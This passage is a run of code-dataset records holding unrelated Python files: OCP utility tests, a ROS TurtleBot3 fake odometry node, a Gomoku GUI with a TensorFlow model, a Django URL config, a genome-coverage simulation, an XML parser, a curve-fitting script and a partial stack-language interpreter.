test_get_cluster_id_from_non_ocp_provider(self):\n \"\"\"Test that None is returned when getting cluster ID on non-OCP provider.\"\"\"\n cluster_id = utils.get_cluster_id_from_provider(self.aws_provider_uuid)\n self.assertIsNone(cluster_id)\n\n def test_get_cluster_alias_from_cluster_id(self):\n \"\"\"Test that the cluster alias is returned from cluster_id.\"\"\"\n cluster_id = self.ocp_cluster_id\n cluster_alias = utils.get_cluster_alias_from_cluster_id(cluster_id)\n self.assertIsNotNone(cluster_alias)\n\n def test_get_provider_uuid_from_cluster_id(self):\n \"\"\"Test that the provider uuid is returned for a cluster ID.\"\"\"\n cluster_id = self.ocp_cluster_id\n provider_uuid = utils.get_provider_uuid_from_cluster_id(cluster_id)\n try:\n UUID(provider_uuid)\n except ValueError:\n self.fail(\"{} is not a valid uuid.\".format(str(provider_uuid)))\n\n def test_get_provider_uuid_from_invalid_cluster_id(self):\n \"\"\"Test that the provider uuid is not returned for an invalid cluster ID.\"\"\"\n cluster_id = \"bad_cluster_id\"\n provider_uuid = utils.get_provider_uuid_from_cluster_id(cluster_id)\n self.assertIsNone(provider_uuid)\n\n def test_poll_ingest_override_for_provider(self):\n \"\"\"Test that OCP polling override returns True if insights local path exists.\"\"\"\n fake_dir = tempfile.mkdtemp()\n with patch.object(Config, \"INSIGHTS_LOCAL_REPORT_DIR\", fake_dir):\n cluster_id = utils.get_cluster_id_from_provider(self.ocp_test_provider_uuid)\n expected_path = f\"{Config.INSIGHTS_LOCAL_REPORT_DIR}/{cluster_id}/\"\n os.makedirs(expected_path, exist_ok=True)\n self.assertTrue(utils.poll_ingest_override_for_provider(self.ocp_test_provider_uuid))\n shutil.rmtree(fake_dir)\n\n def test_process_openshift_datetime(self):\n \"\"\"Test process_openshift_datetime method with good and bad values.\"\"\"\n expected_dt_str = \"2020-07-01 00:00:00\"\n expected = pd.to_datetime(expected_dt_str)\n dt = utils.process_openshift_datetime(\"2020-07-01 00:00:00 +0000 UTC\")\n self.assertEqual(expected, dt)\n","sub_path":"koku/masu/test/util/ocp/test_common.py","file_name":"test_common.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"189773648","text":"#!/usr/bin/env python\n# coding: UTF-8\nimport rospy\nimport time\nimport math\nimport tf\n\n# geometry msg\nfrom geometry_msgs.msg import Quaternion\nfrom geometry_msgs.msg import Vector3\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import TransformStamped\n\n# sensor msg\nfrom sensor_msgs.msg import JointState\n\nfrom nav_msgs.msg import Odometry\nfrom quaternion_euler import euler_to_quaternion\n\nclass Turtlebot3Fake(object):\n\n WHEEL_RADIUS = 0.033\n def __init__(self):\n self._prev_time = rospy.Time.now()\n self._last_cmd_vel_time_ = rospy.Time.now()\n self._cmd_vel_timeout_ = 1.0\n self._wheel_speed_cmd_ = {}\n self._wheel_speed_cmd_['left'] = 0.0\n self._wheel_speed_cmd_['right'] = 0.0\n self._last_velocity_ = {}\n self._last_velocity_['left'] = 0.0\n self._last_velocity_['right'] = 0.0\n self._last_position_ = {}\n self._last_position_['left'] = 0.0\n self._last_position_['right'] = 0.0\n\n # burger\n # 現在の環境変数は、TURTLEBOT3_MODEL=burger\n # (自分で.bashrcに定義した)\n self._wheel_seperation_ = 0.160;\n self._turning_radius_ = 0.080;\n self._robot_radius_ = 0.105;\n\n # waffle, waffle_pi\n # wheel_seperation_ = 0.287;\n # turning_radius_ = 0.1435;\n # robot_radius_ = 0.220;\n\n self._odom_pose_ = [0.0, 0.0, 0.0]\n self._odom_vel_ = [0.0, 0.0, 0.0]\n\n self._odom_ = Odometry()\n self._odom_.header.frame_id = 'odom'\n self._odom_.child_frame_id = 'base_footprint'\n self._odom_pub_ = rospy.Publisher('odom', Odometry, queue_size=10)\n self._joint_states_ = JointState()\n self._joint_states_.header.frame_id = 'base_footprint'\n self._joint_states_.name.append('wheel_left_joint')\n self._joint_states_.name.append('wheel_right_joint')\n self._joint_states_.position = [0.0, 0.0]\n self._joint_states_.velocity = [0.0, 0.0]\n self._joint_states_pub_ = rospy.Publisher('joint_states', JointState, queue_size=10)\n self._odom_tf_ = TransformStamped()\n\n rospy.Subscriber('cmd_vel', Twist, self._on_cmd_vel)\n\n self._tf_broadcaster_ = tf.TransformBroadcaster()\n\n\n def _on_cmd_vel(self, data):\n self._last_cmd_vel_time_ = rospy.Time.now()\n goal_linear_velocity = data.linear.x\n goal_angular_velocity = data.angular.z\n\n self._wheel_speed_cmd_['left'] = goal_linear_velocity - (goal_angular_velocity * self._wheel_seperation_ / 2)\n self._wheel_speed_cmd_['right'] = goal_linear_velocity + (goal_angular_velocity * self._wheel_seperation_ / 2)\n\n def update(self):\n now_time = rospy.Time.now()\n step_time = now_time - self._prev_time\n self._prev_time = now_time\n\n if now_time.to_sec() - self._last_cmd_vel_time_.to_sec() > self._cmd_vel_timeout_:\n self._wheel_speed_cmd_['left'] = 0.0\n self._wheel_speed_cmd_['right'] = 0.0\n\n self.update_odometry(step_time)\n self._odom_.header.stamp = now_time\n self._odom_pub_.publish(self._odom_)\n\n self.update_joint()\n self._joint_states_.header.stamp = now_time\n self._joint_states_pub_.publish(self._joint_states_)\n\n self.update_tf()\n qtn = []\n qtn.append(self._odom_tf_.transform.rotation.x)\n qtn.append(self._odom_tf_.transform.rotation.y)\n qtn.append(self._odom_tf_.transform.rotation.z)\n qtn.append(self._odom_tf_.transform.rotation.w)\n self._tf_broadcaster_.sendTransform(\n (self._odom_tf_.transform.translation.x,\n self._odom_tf_.transform.translation.y,\n self._odom_tf_.transform.translation.z),\n qtn,\n now_time,\n self._odom_.child_frame_id,\n self._odom_.header.frame_id)\n\n def update_odometry(self, step_time):\n # step_timeはDuration型。rospy.Time.now()型同士の引き算で自動的にそうなる\n wheel_l = wheel_r = 0.0\n delta_s = delta_theta = 0.0\n v = {}\n w = {}\n print('update odometry : l speed = {}, r speed = {}'.format(\n self._wheel_speed_cmd_['left'],\n self._wheel_speed_cmd_['right']))\n v['left'] = self._wheel_speed_cmd_['left']\n w['left'] = v['left'] / Turtlebot3Fake.WHEEL_RADIUS # w = v / r\n v['right'] = self._wheel_speed_cmd_['right']\n w['right'] = v['right'] / Turtlebot3Fake.WHEEL_RADIUS\n\n # 角度 x 半径 = 弧の長さ\n # したがって、角速度 x タイヤの半径 = 単位時間あたりの移動量\n # \n # 単位時間あたりの移動量(弧の長さ)がテレオペで指定される速度に該当するので、\n # 角速度(単位時間あたりの角度) = 弧の長さ/半径\n # つまり、w = v / r\n\n # 保存するのは角速度(w)\n self._last_velocity_['left'] = w['left']\n self._last_velocity_['right'] = w['right']\n\n # 経過時間に対するタイヤの回転角度を出す\n wheel_l = w['left'] * step_time.to_sec()\n wheel_r = w['right'] * step_time.to_sec()\n # print('wl, w, s = {}, {}, {}'.format(wheel_l, w['left'], step_time.to_sec()))\n\n # 無限小数点ならゼロ\n if isinstance(wheel_l, float) and math.isnan(wheel_l):\n wheel_l = 0.0\n if isinstance(wheel_r, float) and math.isnan(wheel_r):\n wheel_r = 0.0\n\n self._last_position_['left'] += wheel_l # 経過時間に対するタイヤの回転角度を累積する\n self._last_position_['right'] += wheel_r # 経過時間に対するタイヤの回転角度を累積する\n\n print('now left radian = {}'.format(self._last_position_['left']))\n\n delta_s = Turtlebot3Fake.WHEEL_RADIUS * (wheel_r + wheel_l) / 2.0\n # (wheel_r + wheel_l) / 2.0\n # 2輪の角速度を足して2で割ると、平均角速度が出る。\n # 角度 x 半径 = 弧の長さなので、\n # 角度(単位時間あたりの角度) * 半径なので、\n # delta_sは本経過時間におけるロボット全体の移動距離(弧長:タイヤで走った距離)を表す。\n\n delta_theta = Turtlebot3Fake.WHEEL_RADIUS * (wheel_r - wheel_l) / self._wheel_seperation_\n print('theta = {}'.format(delta_theta))\n # これは、本経過時間における角速度の差を内輪差で割ってる。\n # つまり、本経過時間におけるロボット全体の回転量(角度)を表す。\n\n #\n # まずは、ロボットの位置(/姿勢)を計算する\n #\n # odom_pose_[2] ... 前回のロボットの姿勢(これは自律移動であり、すなわち平面運動であり、姿勢とは、\n # xy平面でのロボットの向きであり、すなわちz軸に対して何度回転しているかである)\n # 姿勢とはすなわち、瞬間瞬間の角度増減量を累積したもの = map上での絶対角度である。\n #\n # 今回の運動によるx増減量(dx)は以下の式。\n # dx = 経過時間における移動量すなわち移動ベクトルの大きさ(delta_s) *\n # cos(前回までの累積角度(odom_pose_[2]) + 経過時間における回転量(delta_theta) / 2.0)\n #\n # ※ cos/sinはよーするに三角形の「比」に過ぎないので、斜辺に比を掛けるとxが出たり、yがでたりする。\n # ※ 2で割るのはたぶん、差動二輪だからか。\n dx = delta_s * math.cos(self._odom_pose_[2] + (delta_theta / 2.0))\n dy = delta_s * math.sin(self._odom_pose_[2] + (delta_theta / 2.0))\n self._odom_pose_[0] += dx\n self._odom_pose_[1] += dy\n self._odom_pose_[2] += delta_theta\n\n\n # 瞬間速度を移動量/経過時間で計算する\n self._odom_vel_[0] = delta_s / step_time.to_sec() # 直線速度\n self._odom_vel_[1] = 0 # 差動二輪なのでyはない。自由車輪ならある。\n self._odom_vel_[2] = delta_theta / step_time.to_sec() # 回転速度\n\n self._odom_.pose.pose.position.x = self._odom_pose_[0]\n self._odom_.pose.pose.position.y = self._odom_pose_[1]\n self._odom_.pose.pose.position.z = 0\n self._odom_.pose.pose.orientation = euler_to_quaternion(Vector3(0.0, 0.0, self._odom_pose_[2]))\n\n self._odom_.twist.twist.linear.x = self._odom_vel_[0]\n self._odom_.twist.twist.angular.z = self._odom_vel_[2]\n\n def update_joint(self):\n self._joint_states_.position[0] = self._last_position_['left']\n self._joint_states_.position[1] = self._last_position_['right']\n self._joint_states_.velocity[0] = self._last_velocity_['left']\n self._joint_states_.velocity[1] = self._last_velocity_['right']\n \n def update_tf(self):\n self._odom_tf_.header = self._odom_.header\n self._odom_tf_.child_frame_id = self._odom_.child_frame_id\n self._odom_tf_.transform.translation.x = self._odom_.pose.pose.position.x\n self._odom_tf_.transform.translation.y = self._odom_.pose.pose.position.y\n self._odom_tf_.transform.translation.z = self._odom_.pose.pose.position.z\n self._odom_tf_.transform.rotation = self._odom_.pose.pose.orientation\n\n\nif __name__ == '__main__':\n rospy.init_node('turtlebot3_fake2_node')\n rate = rospy.Rate(1)\n\n fake = Turtlebot3Fake()\n\n while not rospy.is_shutdown():\n fake.update()\n rate.sleep()\n \n\n","sub_path":"turtlebot3_fake2/src/turtlebot3_fake2_node.py","file_name":"turtlebot3_fake2_node.py","file_ext":"py","file_size_in_byte":9657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"98967756","text":"\"\"\" battle between agent and human \"\"\"\nimport tkinter as tk\nimport numpy as np\nimport tensorflow as tf\nfrom os import path, system\nfrom state import State\nfrom feature import diff\n\n\nclass Application(tk.Frame):\n def __init__(self, session, master):\n tk.Frame.__init__(self, master)\n self.button = list()\n self.frames = list()\n self.state = State()\n root = path.join(path.dirname(__file__), \"img\")\n self.image = [\n tk.PhotoImage(file=path.join(root, \"empty.gif\")),\n tk.PhotoImage(file=path.join(root, \"naught.gif\")),\n tk.PhotoImage(file=path.join(root, \"cross.gif\")),\n ]\n self.session = session\n self.pack()\n self.create_widgets()\n self.draw_probability()\n\n def draw_probability(self):\n if self.state.player == 1:\n y = self.session.run(\"y:0\", feed_dict={\"x:0\": self.state.board.reshape((1, 225)), \"y_:0\": np.zeros(shape=(1, 1))})\n print(\"winning probability for black: {0}%\".format((y[0, 0] + 1) * 50))\n\n def highlight(self, x, y):\n for i, j in self.state.highlight(x, y):\n self.frames[i*15+j].config(padx=1, pady=1, bg=\"blue\")\n\n def click(self, i, j):\n def respond(e):\n if not self.state.end and self.state.board[i, j] == 0:\n self.button[i*15+j].config(image=self.image[self.state.player])\n self.state.move(i, j)\n if self.state.end:\n if self.state._win(i, j):\n self.highlight(i, j)\n else:\n self.frames[i*15+j].config(padx=1, pady=1, bg=\"red\")\n else:\n self.draw_probability()\n return respond\n\n def create_widgets(self):\n for i in range(15):\n for j in range(15):\n f = tk.Frame(self, height=50, width=50)\n f.pack_propagate(0)\n f.grid(row=i, column=j, padx=0, pady=0)\n self.frames.append(f)\n b = tk.Label(f, image=self.image[0], bg=\"red\")\n b.pack(fill=tk.BOTH, expand=1)\n b.bind(\"\", self.click(i, j))\n self.button.append(b)\n\n\ndef run():\n with tf.Session() as session:\n name = \"qbtnet-black\"\n checkpoint = 4000\n root = path.join(path.dirname(__file__), \"model\", \"value\", name)\n saver = tf.train.import_meta_graph(path.join(root, name + \".meta\"), clear_devices=True)\n saver.restore(session, path.join(root, name + \"-\" + str(checkpoint)))\n root = tk.Tk()\n root.wm_title(\"Alpha Gomoku\")\n root.attributes(\"-topmost\", True)\n app = Application(session, root)\n app.mainloop()\n\n\nrun()\n","sub_path":"python/game_value.py","file_name":"game_value.py","file_ext":"py","file_size_in_byte":2747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"344939074","text":"# -*- coding: UTF-8 -*-\n\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\nfrom . import views\n\nurlpatterns = [\n\turl(r'^idc_valid', views.IDC_Valid, name='idc_valid'),\n\turl(r'^cabinet_valid', views.CabinetValid, name='cabinet_valid'),\n\turl(r'^group_valid/', views.GroupValid, name='group_valid'),\n url(r'^hosts_valid/', views.HostsValid, name='hosts_valid'),\n\turl(r'^type_valid/', views.FaultTypeValid, name='type_valid'),\n\turl(r'^fault_valid', views.FaultValid, name='fault_valid'),\n]","sub_path":"API/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"597975773","text":"import sys, random\nfrom compsci260lib import *\nfrom math import exp\nimport numpy\n\ndef simulate():\n \n G = 3000000;\n R = 45000;\n L = 500;\n iterations = 20;\n notcovered = 0\n # repeating the sequencing process iterations times \n for k in range(0,iterations):\n # setting all G elements in the list to 0 \n genome = [0]*G\n # randomly selecting starting locations for R reads \n for i in range(0,R):\n # the bounds are 0 to G-L because the length of each read is L in length\n randomnumber = random.randint(0,G-L)\n # updating the number of times the nucleotides covered by the read were sequenced \n for j in range(randomnumber,randomnumber+L):\n genome[j] = genome[j] + 1\n coverage = float(float(sum(genome))/float(G))\n for l in range(0,G):\n if genome [l] == 0:\n notcovered +=1 \n \n \nif __name__ == '__main__':\n simulate()\n","sub_path":"Python/Problem Set 3/simulate.py","file_name":"simulate.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"559328795","text":"\"\"\"\nParsed XML documents are represented in memory by ElementTree and Element objects connected into a tree\nstructure based on the way the nodes in the XML document are nested\n\"\"\"\nfrom xml.etree import ElementTree\nimport os\n\nwith open(os.path.dirname(os.path.abspath(__file__))+'/'+'xml_elementtree.xml', 'r+') as f:\n xmlTree = ElementTree.parse(f)\n\nfor node in xmlTree.iter('outline'):\n name = node.attrib.get('text')\n url = node.attrib.get('xmlUrl')\n if name and url:\n print(' %s :: %s' % (name, url))\n else:\n print(name)\n","sub_path":"python_filehandling/xml_tree/xml_elementtree.py","file_name":"xml_elementtree.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"359787758","text":"'''\r\nAuthor: 方凤娜\r\nStudent Number: 1619100025\r\nAssignment:8_1\r\nDate: 2019-4-21\r\nFunction: experimental data fitting\r\n'''\r\n\r\nimport numpy as np\r\nfrom scipy.optimize import leastsq\r\nimport pylab as pl\r\n\r\nx=[ 0,\t3,\t6,\t9,\t12,\t15,\t18,\t21,\t24,\t27,\t30,\t33,\t36,\t39,\t42,\t45,\t48]\r\nfor i in range(len(x)):\r\n x[i]=x[i]*np.pi/180\r\n#x[i]=round(x[i],3)\r\nx=np.round(x,5).astype('float32')\r\ny0=[48.5,52.6,27.0,-13.8,-38.0,-29.5,-4.9,25.2,48.6, 53.2,26.7,-16.1,-39.4,-29.9,-3.5,25.2,48.5]\r\ny0=np.round(y0,5).astype('float32')\r\n#print(x,y0)\r\n\r\n\r\ndef func(x, p):\r\n \"\"\"\r\n 数据拟合所用的函数: A*sin(2*pi*k*x + theta)\r\n \"\"\"\r\n A, k, theta = p\r\n return A*np.sin(2*np.pi*k*x+theta) \r\n\r\ndef residuals(p, y, x):\r\n \"\"\"\r\n 实验数据x, y和拟合函数之间的差,p为拟合需要找到的系数\r\n \"\"\"\r\n return y - func(x, p)\r\n\r\n#x = np.linspace(0, -2*np.pi, 100)\r\n#A, k, theta = 10, 0.34, np.pi/6 # 真实数据的函数参数\r\n#y0 = func(x, [A, k, theta]) # 真实数据\r\n#y1 = y0 + 2 * np.random.randn(len(x)) # 加入噪声之后的实验数据 \r\n\r\np0 = [48, 2.5, 0.1] # 第一次猜测的函数拟合参数\r\n\r\n# 调用leastsq进行数据拟合\r\n# residuals为计算误差的函数\r\n# p0为拟合参数的初始值\r\n# args为需要拟合的实验数据\r\nplsq = leastsq(residuals, p0, args=(y0, x))\r\n\r\n\r\n\r\npl.rcParams['font.family'] = ['simHei']\r\npl.rcParams['font.sans-serif'] = ['simHei'] # 步骤一(替换sans-serif字体)\r\npl.rcParams['axes.unicode_minus'] = False # 步骤二(解决坐标轴负数的负号显示问题)\r\n\r\npl.plot(x, y0, label=u\"真实数据\")\r\nx1 = np.linspace(0, 0.8, 100)\r\npl.plot(x1, func(x1, plsq[0]), label=u\"拟合的曲线\")\r\n\r\npl.plot(x, func(x, plsq[0]), label=u\"拟合数据\")\r\npl.legend()\r\npl.show()\r\n#数据少,拟合不够好","sub_path":"A8_1.py","file_name":"A8_1.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"454071238","text":"\n\nclass VarSymbol:\n\n def __init__(self, Name, currentEnv, parentEnv):\n\n self.variableName = Name\n self.value = None\n self.environment = currentEnv\n self.parentEnvironment = parentEnv\n\n\n def __str__(self):\n\n return '\\nVarSymbol(Name: {variableName}, Value: {value}, Environment: {environment}, Parent Environment: {parentEnvironment})'.format(\n variableName=self.variableName,\n value=self.value,\n environment=self.environment,\n parentEnvironment=repr(self.parentEnvironment)\n\n )\n def __repr__(self):\n return self.__str__()\n\n\nclass Environment(object):\n def __init__ (self, currentEnv=None, parentEnv=None):\n self.stack = []\n self.currentEnvironment = currentEnv\n self.parentEnvironment = parentEnv\n\n\n def __str__(self):\n \"\"\"String representation of the class instance.\n Examples:\n Token(INTEGER, 3)\n Token(PLUS, '+')\n Token(MUL, '*')\n \"\"\"\n return '\\nEnvironment(Environment: {environment}, local Stack : {stack}, Parent Environment: {parentEnvironment})'.format(\n environment=self.currentEnvironment,\n stack=self.stack,\n parentEnvironment=repr(self.parentEnvironment),\n\n )\n\n ## Come back to this, this might be very useful\n\n\n\n ''' Returns type given a string if\n no string makes a match, return None'''\n def getVal(self, var):\n\n if isNegNum(var) or isNum(var):\n return int(var)\n elif var == \":unit:\":\n return \":unit:\"\n elif var == \":true:\":\n return True\n elif var == \":false:\":\n return False\n # test this\n elif var[0:] == \"\\\"\" and var[:-1] == \"\\\"\":\n return var\n else:\n return None\n\n\n def pushToStack(self, elem):\n if str(elem) == \"True\":\n self.stack.append(\":true:\")\n elif str(elem) == \"False\":\n self.stack.append(\":false:\")\n else:\n self.stack.append(elem)\n\n def pushError(self): self.stack.append(\":error:\")\n\n def binaryOperator(self):\n if len(self.stack) >= 3:\n self.stack.pop()\n a = self.stack[-1]\n b = self.stack[-2]\n self.stack.pop()\n self.stack.pop()\n return (a, b)\n else:\n self.stack.pop()\n return ()\n\n\n def ADD(self):\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a1, b1 = tupl\n if ((\"VAR:\" == b1[:4]) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(a) or isNegNum(a)) and (isNum(b) or isNegNum(b)):\n self.pushToStack(str(b + a))\n else:\n raise Exception\n\n elif ((not(\"VAR:\" == b1[:4])) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(b1)\n if (isNum(a) or isNegNum(a)) and (isNum(b1) or isNegNum(b1)):\n\n self.pushToStack(str(b + a))\n else:\n raise Exception\n\n\n elif((\"VAR:\" == b1[:4]) and (not(\"VAR:\" == a1[:4]))):\n a = self.getVal(a1)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(b) or isNegNum(b)) and (isNum(a1) or isNegNum(a1)):\n self.pushToStack(str(b + a))\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) + self.getVal(a1)))\n else:\n raise Exception\n\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n\n def SUB(self):\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a1, b1 = tupl\n if ((\"VAR:\" == b1[:4]) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(a) or isNegNum(a)) and (isNum(b) or isNegNum(b)):\n self.pushToStack(str(b - a))\n else:\n raise Exception\n\n elif ((not(\"VAR:\" == b1[:4])) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(b1)\n if (isNum(a) or isNegNum(a)) and (isNum(b1) or isNegNum(b1)):\n\n self.pushToStack(str(b - a))\n else:\n raise Exception\n\n\n elif((\"VAR:\" == b1[:4]) and (not(\"VAR:\" == a1[:4]))):\n a = self.getVal(a1)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(b) or isNegNum(b)) and (isNum(a1) or isNegNum(a1)):\n self.pushToStack(str(b - a))\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) - self.getVal(a1)))\n else:\n raise Exception\n\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n\n\n def MUL(self):\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a1, b1 = tupl\n if ((\"VAR:\" == b1[:4]) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(a) or isNegNum(a)) and (isNum(b) or isNegNum(b)):\n self.pushToStack(str(b * a))\n else:\n raise Exception\n\n elif ((not(\"VAR:\" == b1[:4])) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(b1)\n if (isNum(a) or isNegNum(a)) and (isNum(b1) or isNegNum(b1)):\n\n self.pushToStack(str(b * a))\n else:\n raise Exception\n\n\n elif((\"VAR:\" == b1[:4]) and (not(\"VAR:\" == a1[:4]))):\n a = self.getVal(a1)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(b) or isNegNum(b)) and (isNum(a1) or isNegNum(a1)):\n self.pushToStack(str(b * a))\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) * self.getVal(a1)))\n else:\n raise Exception\n\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n\n def DIV(self):\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a1, b1 = tupl\n if ((\"VAR:\" == b1[:4]) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(a) or isNegNum(a)) and (isNum(b) or isNegNum(b)):\n self.pushToStack(str(b / a))\n else:\n raise Exception\n\n elif ((not(\"VAR:\" == b1[:4])) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(b1)\n if (isNum(a) or isNegNum(a)) and (isNum(b1) or isNegNum(b1)):\n\n self.pushToStack(str(b / a))\n else:\n raise Exception\n\n\n elif((\"VAR:\" == b1[:4]) and (not(\"VAR:\" == a1[:4]))):\n a = self.getVal(a1)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(b) or isNegNum(b)) and (isNum(a1) or isNegNum(a1)):\n self.pushToStack(str(b / a))\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) / self.getVal(a1)))\n else:\n raise Exception\n\n except ZeroDivisionError:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n def REM(self):\n tupl = self.binaryOperator()\n if len(tupl) == 0:\n self.pushToStack(\":error:\")\n else:\n try:\n a1, b1 = tupl\n if ((\"VAR:\" == b1[:4]) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(a) or isNegNum(a)) and (isNum(b) or isNegNum(b)):\n self.pushToStack(str(b % a))\n else:\n raise Exception\n\n elif ((not(\"VAR:\" == b1[:4])) and (\"VAR:\" == a1[:4])):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(b1)\n if (isNum(a) or isNegNum(a)) and (isNum(b1) or isNegNum(b1)):\n\n self.pushToStack(str(b % a))\n else:\n raise Exception\n\n\n elif((\"VAR:\" == b1[:4]) and (not(\"VAR:\" == a1[:4]))):\n a = self.getVal(a1)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if (isNum(b) or isNegNum(b)) and (isNum(a1) or isNegNum(a1)):\n self.pushToStack(str(b % a))\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) % self.getVal(a1)))\n else:\n raise Exception\n\n except ZeroDivisionError:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n\n def SWAP(self):\n try:\n a, b = self.binaryOperator()\n self.pushToStack(a)\n self.pushToStack(b)\n except Exception:\n self.pushError()\n\n def EQUAL(self):\n tupl = self.binaryOperator()\n\n try:\n a1, b1 = tupl\n\n if((\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isNum(a) or isNegNum(a):\n if isNum(b) or isNegNum(b):\n self.pushToStack(str(b == a))\n else:\n raise Exception\n else:\n raise Exception\n elif(not(\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n if isNum(a) or isNegNum(a):\n if isNum(b1) or isNegNum(b1):\n self.pushToStack(str(self.getVal(b1) == a))\n else:\n raise Exception\n else:\n raise Exception\n\n\n elif((\"VAR:\" in b1) and not(\"VAR:\" in a1)):\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isNum(b) or isNegNum(b):\n if isNum(a1) or isNegNum(a1):\n self.pushToStack(str(b == self.getVal(a1)))\n else:\n raise Exception\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) == self.getVal(a1)))\n\n else:\n raise Exception\n except Exception:\n self.pushToStack(tupl[1])\n self.pushToStack(tupl[0])\n self.pushError()\n def LESSTHAN(self):\n tupl = self.binaryOperator()\n\n try:\n a1, b1 = tupl\n if((\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isNum(a) or isNegNum(a):\n if isNum(b) or isNegNum(b):\n self.pushToStack(str(b < a))\n else:\n raise Exception\n else:\n raise Exception\n elif(not(\"VAR:\" in b1) and (\"VAR:\" in a1)):\n a = self.getVal(VariableList[search(a1[5:], self.currentEnvironment)].value)\n if isNum(a) or isNegNum(a):\n if isNum(b1) or isNegNum(b1):\n self.pushToStack(str(self.getVal(b1) < a))\n else:\n raise Exception\n else:\n raise Exception\n\n\n elif((\"VAR:\" in b1) and not(\"VAR:\" in a1)):\n b = self.getVal(VariableList[search(b1[5:], self.currentEnvironment)].value)\n if isNum(b) or isNegNum(b):\n if isNum(a1) or isNegNum(a1):\n self.pushToStack(str(b < self.getVal(a1)))\n else:\n raise Exception\n else:\n raise Exception\n\n elif (type(self.getVal(a1)) == int and type(self.getVal(b1)) == int):\n self.pushToStack(str(self.getVal(b1) < 